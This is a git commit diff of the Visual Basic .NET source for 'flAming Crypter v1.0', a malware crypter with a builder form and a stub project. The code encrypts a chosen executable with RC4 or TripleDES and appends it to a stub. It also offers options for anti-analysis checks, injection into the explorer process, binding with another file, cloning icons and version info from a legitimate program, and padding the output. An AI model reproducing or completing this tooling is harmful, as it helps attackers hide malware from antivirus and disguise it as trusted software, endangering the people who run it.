initial commit
This commit is contained in:
i2p
Vendored
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,28 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "MyCrypter", "MyCrypter\MyCrypter.vbproj", "{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}"
|
||||
EndProject
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "winini", "winini\winini.vbproj", "{431C311C-D462-41B3-8046-6D2EFA480D81}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{431C311C-D462-41B3-8046-6D2EFA480D81}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{431C311C-D462-41B3-8046-6D2EFA480D81}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{431C311C-D462-41B3-8046-6D2EFA480D81}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{431C311C-D462-41B3-8046-6D2EFA480D81}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 83 KiB |
@@ -0,0 +1,26 @@
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class _3des
|
||||
Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String
|
||||
Dim keyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt)
|
||||
|
||||
If useHashing Then
|
||||
Dim hashmd5 As New MD5CryptoServiceProvider()
|
||||
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key))
|
||||
Else
|
||||
keyArray = UTF8Encoding.UTF8.GetBytes(key)
|
||||
End If
|
||||
|
||||
Dim tdes As New TripleDESCryptoServiceProvider()
|
||||
tdes.Key = keyArray
|
||||
tdes.Mode = CipherMode.ECB
|
||||
tdes.Padding = PaddingMode.PKCS7
|
||||
|
||||
Dim cTransform As ICryptoTransform = tdes.CreateEncryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
|
||||
Return Convert.ToBase64String(resultArray, 0, resultArray.Length)
|
||||
End Function
|
||||
End Class
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
+422
@@ -0,0 +1,422 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
|
||||
Me.TextFile = New System.Windows.Forms.TextBox
|
||||
Me.BtnBrowse = New System.Windows.Forms.Button
|
||||
Me.BtnCtypt = New System.Windows.Forms.Button
|
||||
Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog
|
||||
Me.CheckIcon = New System.Windows.Forms.CheckBox
|
||||
Me.TextIcon = New System.Windows.Forms.TextBox
|
||||
Me.BtnIcon = New System.Windows.Forms.Button
|
||||
Me.CheckClone = New System.Windows.Forms.CheckBox
|
||||
Me.TextClone = New System.Windows.Forms.TextBox
|
||||
Me.BtnClone = New System.Windows.Forms.Button
|
||||
Me.Label1 = New System.Windows.Forms.Label
|
||||
Me.TextEnc = New System.Windows.Forms.TextBox
|
||||
Me.Label2 = New System.Windows.Forms.Label
|
||||
Me.GroupBox1 = New System.Windows.Forms.GroupBox
|
||||
Me.GroupBox2 = New System.Windows.Forms.GroupBox
|
||||
Me.CheckDES = New System.Windows.Forms.RadioButton
|
||||
Me.CheckRC4 = New System.Windows.Forms.RadioButton
|
||||
Me.GroupBox3 = New System.Windows.Forms.GroupBox
|
||||
Me.CheckBox1 = New System.Windows.Forms.CheckBox
|
||||
Me.TextBytes = New System.Windows.Forms.TextBox
|
||||
Me.CheckBytes = New System.Windows.Forms.CheckBox
|
||||
Me.TextProc = New System.Windows.Forms.TextBox
|
||||
Me.CheckInject = New System.Windows.Forms.CheckBox
|
||||
Me.CheckAntis = New System.Windows.Forms.CheckBox
|
||||
Me.GroupBox4 = New System.Windows.Forms.GroupBox
|
||||
Me.BtnBind = New System.Windows.Forms.Button
|
||||
Me.TextBind = New System.Windows.Forms.TextBox
|
||||
Me.CheckBind = New System.Windows.Forms.CheckBox
|
||||
Me.TextBox1 = New System.Windows.Forms.TextBox
|
||||
Me.GroupBox1.SuspendLayout()
|
||||
Me.GroupBox2.SuspendLayout()
|
||||
Me.GroupBox3.SuspendLayout()
|
||||
Me.GroupBox4.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'TextFile
|
||||
'
|
||||
Me.TextFile.Location = New System.Drawing.Point(23, 53)
|
||||
Me.TextFile.Name = "TextFile"
|
||||
Me.TextFile.Size = New System.Drawing.Size(237, 20)
|
||||
Me.TextFile.TabIndex = 0
|
||||
'
|
||||
'BtnBrowse
|
||||
'
|
||||
Me.BtnBrowse.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnBrowse.Location = New System.Drawing.Point(274, 53)
|
||||
Me.BtnBrowse.Name = "BtnBrowse"
|
||||
Me.BtnBrowse.Size = New System.Drawing.Size(47, 20)
|
||||
Me.BtnBrowse.TabIndex = 1
|
||||
Me.BtnBrowse.Text = "..."
|
||||
Me.BtnBrowse.UseVisualStyleBackColor = True
|
||||
'
|
||||
'BtnCtypt
|
||||
'
|
||||
Me.BtnCtypt.Location = New System.Drawing.Point(611, 286)
|
||||
Me.BtnCtypt.Name = "BtnCtypt"
|
||||
Me.BtnCtypt.Size = New System.Drawing.Size(77, 50)
|
||||
Me.BtnCtypt.TabIndex = 2
|
||||
Me.BtnCtypt.Text = "Crypt"
|
||||
Me.BtnCtypt.UseVisualStyleBackColor = True
|
||||
'
|
||||
'OpenFileDialog1
|
||||
'
|
||||
Me.OpenFileDialog1.FileName = "OpenFileDialog1"
|
||||
'
|
||||
'CheckIcon
|
||||
'
|
||||
Me.CheckIcon.AutoSize = True
|
||||
Me.CheckIcon.BackColor = System.Drawing.Color.Transparent
|
||||
Me.CheckIcon.ForeColor = System.Drawing.Color.White
|
||||
Me.CheckIcon.Location = New System.Drawing.Point(21, 92)
|
||||
Me.CheckIcon.Name = "CheckIcon"
|
||||
Me.CheckIcon.Size = New System.Drawing.Size(87, 17)
|
||||
Me.CheckIcon.TabIndex = 4
|
||||
Me.CheckIcon.Text = "Change Icon"
|
||||
Me.CheckIcon.UseVisualStyleBackColor = False
|
||||
'
|
||||
'TextIcon
|
||||
'
|
||||
Me.TextIcon.Location = New System.Drawing.Point(20, 115)
|
||||
Me.TextIcon.Name = "TextIcon"
|
||||
Me.TextIcon.Size = New System.Drawing.Size(237, 20)
|
||||
Me.TextIcon.TabIndex = 6
|
||||
'
|
||||
'BtnIcon
|
||||
'
|
||||
Me.BtnIcon.Enabled = False
|
||||
Me.BtnIcon.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnIcon.Location = New System.Drawing.Point(273, 115)
|
||||
Me.BtnIcon.Name = "BtnIcon"
|
||||
Me.BtnIcon.Size = New System.Drawing.Size(45, 19)
|
||||
Me.BtnIcon.TabIndex = 8
|
||||
Me.BtnIcon.Text = "..."
|
||||
Me.BtnIcon.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckClone
|
||||
'
|
||||
Me.CheckClone.AutoSize = True
|
||||
Me.CheckClone.BackColor = System.Drawing.Color.Transparent
|
||||
Me.CheckClone.ForeColor = System.Drawing.Color.White
|
||||
Me.CheckClone.Location = New System.Drawing.Point(21, 30)
|
||||
Me.CheckClone.Name = "CheckClone"
|
||||
Me.CheckClone.Size = New System.Drawing.Size(91, 17)
|
||||
Me.CheckClone.TabIndex = 10
|
||||
Me.CheckClone.Text = "Clone with file"
|
||||
Me.CheckClone.UseVisualStyleBackColor = False
|
||||
'
|
||||
'TextClone
|
||||
'
|
||||
Me.TextClone.Location = New System.Drawing.Point(21, 53)
|
||||
Me.TextClone.Name = "TextClone"
|
||||
Me.TextClone.Size = New System.Drawing.Size(234, 20)
|
||||
Me.TextClone.TabIndex = 11
|
||||
'
|
||||
'BtnClone
|
||||
'
|
||||
Me.BtnClone.Enabled = False
|
||||
Me.BtnClone.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnClone.Location = New System.Drawing.Point(273, 53)
|
||||
Me.BtnClone.Name = "BtnClone"
|
||||
Me.BtnClone.Size = New System.Drawing.Size(46, 19)
|
||||
Me.BtnClone.TabIndex = 12
|
||||
Me.BtnClone.Text = "..."
|
||||
Me.BtnClone.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label1.ForeColor = System.Drawing.Color.White
|
||||
Me.Label1.Location = New System.Drawing.Point(20, 28)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(67, 13)
|
||||
Me.Label1.TabIndex = 13
|
||||
Me.Label1.Text = "File to crypt :"
|
||||
'
|
||||
'TextEnc
|
||||
'
|
||||
Me.TextEnc.Location = New System.Drawing.Point(120, 53)
|
||||
Me.TextEnc.Name = "TextEnc"
|
||||
Me.TextEnc.Size = New System.Drawing.Size(73, 20)
|
||||
Me.TextEnc.TabIndex = 14
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label2.ForeColor = System.Drawing.Color.White
|
||||
Me.Label2.Location = New System.Drawing.Point(14, 57)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(83, 13)
|
||||
Me.Label2.TabIndex = 15
|
||||
Me.Label2.Text = "Encryption key :"
|
||||
'
|
||||
'GroupBox1
|
||||
'
|
||||
Me.GroupBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox1.Controls.Add(Me.Label1)
|
||||
Me.GroupBox1.Controls.Add(Me.TextFile)
|
||||
Me.GroupBox1.Controls.Add(Me.BtnBrowse)
|
||||
Me.GroupBox1.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox1.Location = New System.Drawing.Point(12, 12)
|
||||
Me.GroupBox1.Name = "GroupBox1"
|
||||
Me.GroupBox1.Size = New System.Drawing.Size(335, 91)
|
||||
Me.GroupBox1.TabIndex = 18
|
||||
Me.GroupBox1.TabStop = False
|
||||
Me.GroupBox1.Text = "File :"
|
||||
'
|
||||
'GroupBox2
|
||||
'
|
||||
Me.GroupBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox2.Controls.Add(Me.CheckDES)
|
||||
Me.GroupBox2.Controls.Add(Me.CheckRC4)
|
||||
Me.GroupBox2.Controls.Add(Me.TextEnc)
|
||||
Me.GroupBox2.Controls.Add(Me.Label2)
|
||||
Me.GroupBox2.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox2.Location = New System.Drawing.Point(354, 245)
|
||||
Me.GroupBox2.Name = "GroupBox2"
|
||||
Me.GroupBox2.Size = New System.Drawing.Size(217, 91)
|
||||
Me.GroupBox2.TabIndex = 19
|
||||
Me.GroupBox2.TabStop = False
|
||||
Me.GroupBox2.Text = "Encryption :"
|
||||
'
|
||||
'CheckDES
|
||||
'
|
||||
Me.CheckDES.AutoSize = True
|
||||
Me.CheckDES.Location = New System.Drawing.Point(120, 21)
|
||||
Me.CheckDES.Name = "CheckDES"
|
||||
Me.CheckDES.Size = New System.Drawing.Size(73, 17)
|
||||
Me.CheckDES.TabIndex = 17
|
||||
Me.CheckDES.Text = "TripleDES"
|
||||
Me.CheckDES.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckRC4
|
||||
'
|
||||
Me.CheckRC4.AutoSize = True
|
||||
Me.CheckRC4.Checked = True
|
||||
Me.CheckRC4.Location = New System.Drawing.Point(17, 23)
|
||||
Me.CheckRC4.Name = "CheckRC4"
|
||||
Me.CheckRC4.Size = New System.Drawing.Size(46, 17)
|
||||
Me.CheckRC4.TabIndex = 16
|
||||
Me.CheckRC4.TabStop = True
|
||||
Me.CheckRC4.Text = "RC4"
|
||||
Me.CheckRC4.UseVisualStyleBackColor = True
|
||||
'
|
||||
'GroupBox3
|
||||
'
|
||||
Me.GroupBox3.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox3.Controls.Add(Me.CheckBox1)
|
||||
Me.GroupBox3.Controls.Add(Me.TextBytes)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckBytes)
|
||||
Me.GroupBox3.Controls.Add(Me.TextProc)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckInject)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckAntis)
|
||||
Me.GroupBox3.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox3.Location = New System.Drawing.Point(354, 109)
|
||||
Me.GroupBox3.Name = "GroupBox3"
|
||||
Me.GroupBox3.Size = New System.Drawing.Size(334, 125)
|
||||
Me.GroupBox3.TabIndex = 20
|
||||
Me.GroupBox3.TabStop = False
|
||||
Me.GroupBox3.Text = "Others :"
|
||||
'
|
||||
'CheckBox1
|
||||
'
|
||||
Me.CheckBox1.AutoSize = True
|
||||
Me.CheckBox1.Location = New System.Drawing.Point(120, 19)
|
||||
Me.CheckBox1.Name = "CheckBox1"
|
||||
Me.CheckBox1.Size = New System.Drawing.Size(108, 17)
|
||||
Me.CheckBox1.TabIndex = 5
|
||||
Me.CheckBox1.Text = "EOF (End Of File)"
|
||||
Me.CheckBox1.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBytes
|
||||
'
|
||||
Me.TextBytes.Location = New System.Drawing.Point(174, 90)
|
||||
Me.TextBytes.Name = "TextBytes"
|
||||
Me.TextBytes.Size = New System.Drawing.Size(140, 20)
|
||||
Me.TextBytes.TabIndex = 4
|
||||
Me.TextBytes.Text = "5"
|
||||
'
|
||||
'CheckBytes
|
||||
'
|
||||
Me.CheckBytes.AutoSize = True
|
||||
Me.CheckBytes.Location = New System.Drawing.Point(21, 92)
|
||||
Me.CheckBytes.Name = "CheckBytes"
|
||||
Me.CheckBytes.Size = New System.Drawing.Size(96, 17)
|
||||
Me.CheckBytes.TabIndex = 3
|
||||
Me.CheckBytes.Text = "Add bytes (mb)"
|
||||
Me.CheckBytes.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextProc
|
||||
'
|
||||
Me.TextProc.Location = New System.Drawing.Point(174, 53)
|
||||
Me.TextProc.Name = "TextProc"
|
||||
Me.TextProc.Size = New System.Drawing.Size(141, 20)
|
||||
Me.TextProc.TabIndex = 2
|
||||
Me.TextProc.Text = "explorer"
|
||||
'
|
||||
'CheckInject
|
||||
'
|
||||
Me.CheckInject.AutoSize = True
|
||||
Me.CheckInject.Location = New System.Drawing.Point(19, 56)
|
||||
Me.CheckInject.Name = "CheckInject"
|
||||
Me.CheckInject.Size = New System.Drawing.Size(149, 17)
|
||||
Me.CheckInject.TabIndex = 1
|
||||
Me.CheckInject.Text = "Custom process injection :"
|
||||
Me.CheckInject.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckAntis
|
||||
'
|
||||
Me.CheckAntis.AutoSize = True
|
||||
Me.CheckAntis.Location = New System.Drawing.Point(19, 19)
|
||||
Me.CheckAntis.Name = "CheckAntis"
|
||||
Me.CheckAntis.Size = New System.Drawing.Size(87, 17)
|
||||
Me.CheckAntis.TabIndex = 0
|
||||
Me.CheckAntis.Text = "Enable Anti's"
|
||||
Me.CheckAntis.UseVisualStyleBackColor = True
|
||||
'
|
||||
'GroupBox4
|
||||
'
|
||||
Me.GroupBox4.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox4.Controls.Add(Me.BtnBind)
|
||||
Me.GroupBox4.Controls.Add(Me.TextBind)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckBind)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckClone)
|
||||
Me.GroupBox4.Controls.Add(Me.TextClone)
|
||||
Me.GroupBox4.Controls.Add(Me.BtnClone)
|
||||
Me.GroupBox4.Controls.Add(Me.BtnIcon)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckIcon)
|
||||
Me.GroupBox4.Controls.Add(Me.TextIcon)
|
||||
Me.GroupBox4.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox4.Location = New System.Drawing.Point(12, 109)
|
||||
Me.GroupBox4.Name = "GroupBox4"
|
||||
Me.GroupBox4.Size = New System.Drawing.Size(335, 227)
|
||||
Me.GroupBox4.TabIndex = 21
|
||||
Me.GroupBox4.TabStop = False
|
||||
Me.GroupBox4.Text = "Options :"
|
||||
'
|
||||
'BtnBind
|
||||
'
|
||||
Me.BtnBind.Enabled = False
|
||||
Me.BtnBind.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnBind.Location = New System.Drawing.Point(272, 180)
|
||||
Me.BtnBind.Name = "BtnBind"
|
||||
Me.BtnBind.Size = New System.Drawing.Size(44, 19)
|
||||
Me.BtnBind.TabIndex = 15
|
||||
Me.BtnBind.Text = "..."
|
||||
Me.BtnBind.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBind
|
||||
'
|
||||
Me.TextBind.Location = New System.Drawing.Point(20, 179)
|
||||
Me.TextBind.Name = "TextBind"
|
||||
Me.TextBind.Size = New System.Drawing.Size(236, 20)
|
||||
Me.TextBind.TabIndex = 14
|
||||
'
|
||||
'CheckBind
|
||||
'
|
||||
Me.CheckBind.AutoSize = True
|
||||
Me.CheckBind.Location = New System.Drawing.Point(21, 156)
|
||||
Me.CheckBind.Name = "CheckBind"
|
||||
Me.CheckBind.Size = New System.Drawing.Size(85, 17)
|
||||
Me.CheckBind.TabIndex = 13
|
||||
Me.CheckBind.Text = "Bind with file"
|
||||
Me.CheckBind.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBox1
|
||||
'
|
||||
Me.TextBox1.Location = New System.Drawing.Point(570, 83)
|
||||
Me.TextBox1.Name = "TextBox1"
|
||||
Me.TextBox1.Size = New System.Drawing.Size(12, 20)
|
||||
Me.TextBox1.TabIndex = 22
|
||||
Me.TextBox1.Visible = False
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image)
|
||||
Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center
|
||||
Me.ClientSize = New System.Drawing.Size(696, 347)
|
||||
Me.Controls.Add(Me.TextBox1)
|
||||
Me.Controls.Add(Me.GroupBox4)
|
||||
Me.Controls.Add(Me.GroupBox3)
|
||||
Me.Controls.Add(Me.GroupBox2)
|
||||
Me.Controls.Add(Me.GroupBox1)
|
||||
Me.Controls.Add(Me.BtnCtypt)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.MaximizeBox = False
|
||||
Me.MaximumSize = New System.Drawing.Size(702, 379)
|
||||
Me.Name = "Form1"
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "flAming Crypter v1.0 - Made by: flAmingw0rm"
|
||||
Me.GroupBox1.ResumeLayout(False)
|
||||
Me.GroupBox1.PerformLayout()
|
||||
Me.GroupBox2.ResumeLayout(False)
|
||||
Me.GroupBox2.PerformLayout()
|
||||
Me.GroupBox3.ResumeLayout(False)
|
||||
Me.GroupBox3.PerformLayout()
|
||||
Me.GroupBox4.ResumeLayout(False)
|
||||
Me.GroupBox4.PerformLayout()
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents TextFile As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnBrowse As System.Windows.Forms.Button
|
||||
Friend WithEvents BtnCtypt As System.Windows.Forms.Button
|
||||
Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog
|
||||
Friend WithEvents CheckIcon As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextIcon As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnIcon As System.Windows.Forms.Button
|
||||
Friend WithEvents CheckClone As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextClone As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnClone As System.Windows.Forms.Button
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents TextEnc As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents CheckDES As System.Windows.Forms.RadioButton
|
||||
Friend WithEvents CheckRC4 As System.Windows.Forms.RadioButton
|
||||
Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents CheckAntis As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents BtnBind As System.Windows.Forms.Button
|
||||
Friend WithEvents TextBind As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBind As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextProc As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckInject As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextBytes As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBytes As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
|
||||
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,293 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
|
||||
Public Class Form1
|
||||
Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file, iSbinded As String
|
||||
Dim output As String = Application.StartupPath + "\done.exe"
|
||||
Dim Stub As String = Application.StartupPath + "\winini.exe"
|
||||
|
||||
|
||||
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCtypt.Click
|
||||
If TextFile.Text = "" Then
|
||||
MsgBox("Select a file to crypt.", MsgBoxStyle.Information, "Select a file")
|
||||
Exit Sub
|
||||
End If
|
||||
|
||||
If File.Exists(output) Then
|
||||
Kill(output)
|
||||
End If
|
||||
|
||||
File.Copy(Application.StartupPath + "\res\winini.exe", Stub)
|
||||
|
||||
If CheckAntis.Checked Then
|
||||
antis = "true"
|
||||
Else
|
||||
antis = "false"
|
||||
End If
|
||||
|
||||
If CheckInject.Checked Then
|
||||
processZ = TextProc.Text
|
||||
Else
|
||||
processZ = "own"
|
||||
End If
|
||||
|
||||
If CheckIcon.Checked = True Then
|
||||
If TextIcon.Text = "" Then
|
||||
MsgBox("Select an icon.", MsgBoxStyle.Information, "Select an icon")
|
||||
Exit Sub
|
||||
End If
|
||||
Else
|
||||
Call IconIt(TextIcon.Text)
|
||||
End If
|
||||
|
||||
If CheckClone.Checked = True Then
|
||||
If TextClone.Text = "" Then
|
||||
MsgBox("Select a file to clone with..", MsgBoxStyle.Information, "Clone")
|
||||
Exit Sub
|
||||
End If
|
||||
Else
|
||||
Call CloneIt(TextClone.Text)
|
||||
End If
|
||||
|
||||
Call cit()
|
||||
|
||||
File.Delete(Stub)
|
||||
|
||||
TextBox1.Text = ReadEOFData(TextFile.Text)
|
||||
|
||||
If CheckBox1.Checked = True Then
|
||||
ReadEOFData(TextFile.Text)
|
||||
WriteEOFData(output, TextBox1.Text)
|
||||
End If
|
||||
|
||||
If CheckBytes.Checked Then
|
||||
Dim file1 = File.OpenWrite(Application.StartupPath + "\done.exe")
|
||||
Dim siza = file1.Seek(0, SeekOrigin.[End])
|
||||
Dim size = Convert.ToInt32(TextBytes.Text)
|
||||
Dim bite As Decimal = size * 1048576
|
||||
While siza < bite
|
||||
siza += 1
|
||||
file1.WriteByte(0)
|
||||
End While
|
||||
file1.Close()
|
||||
End If
|
||||
MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success")
|
||||
End Sub
|
||||
|
||||
Private Sub IconIt(ByVal SourceIcon As String)
|
||||
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & ", " & Stub & ", " & SourceIcon & ", " & "icongroup, 1,0")
|
||||
End Sub
|
||||
Private Sub CloneIt(ByVal SourceFile As String)
|
||||
Shell(App_Path() & "res\\res.exe -extract " & SourceFile & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,,")
|
||||
Shell(App_Path() & "res\\res.exe -delete " & Stub & "," & App_Path() + "res\\res.exe" & ",VERSIONINFO,,")
|
||||
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & "," & Stub & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,1,")
|
||||
End Sub
|
||||
Public Function App_Path() As String
|
||||
Return System.AppDomain.CurrentDomain.BaseDirectory()
|
||||
End Function
|
||||
|
||||
Private Sub cit()
|
||||
Dim key As String = TextEnc.Text
|
||||
Dim Cut As String = "/Assembly/"
|
||||
'get stub
|
||||
FileOpen(1, Stub, OpenMode.Binary)
|
||||
res = Space(LOF(1))
|
||||
FileGet(1, res)
|
||||
FileClose(1)
|
||||
|
||||
'get file to crypt
|
||||
FileOpen(1, (TextFile.Text), OpenMode.Binary)
|
||||
ifile = Space(LOF(1))
|
||||
FileGet(1, ifile)
|
||||
FileClose(1)
|
||||
|
||||
'get file to bind
|
||||
If CheckBind.Checked Then
|
||||
iSbinded = "yes"
|
||||
FileOpen(1, (TextBind.Text), OpenMode.Binary)
|
||||
bfile = Space(LOF(1))
|
||||
FileGet(1, bfile)
|
||||
FileClose(1)
|
||||
b1file = bfile
|
||||
If CheckDES.Checked Then
|
||||
b1file = _3des.Encrypt(bfile, key, True)
|
||||
ElseIf CheckRC4.Checked Then
|
||||
b1file = rc4.rc4(bfile, key)
|
||||
End If
|
||||
End If
|
||||
|
||||
cfile = ifile
|
||||
If CheckDES.Checked Then
|
||||
enctype = "tripleDES"
|
||||
cfile = _3des.Encrypt(ifile, key, True)
|
||||
ElseIf CheckRC4.Checked Then
|
||||
enctype = "rc4"
|
||||
cfile = rc4.rc4(ifile, key)
|
||||
End If
|
||||
|
||||
FileOpen(1, output, OpenMode.Binary)
|
||||
FilePut(1, res)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, cfile)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, key)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, enctype)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, antis)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, processZ)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, iSbinded)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, b1file)
|
||||
FilePut(1, Cut)
|
||||
FileClose(1)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBrowse.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextFile.Text = .FileName
|
||||
ifile = TextFile.Text
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub BtnIcon_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIcon.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Icons(*.ico)|*.ico"
|
||||
.ShowDialog()
|
||||
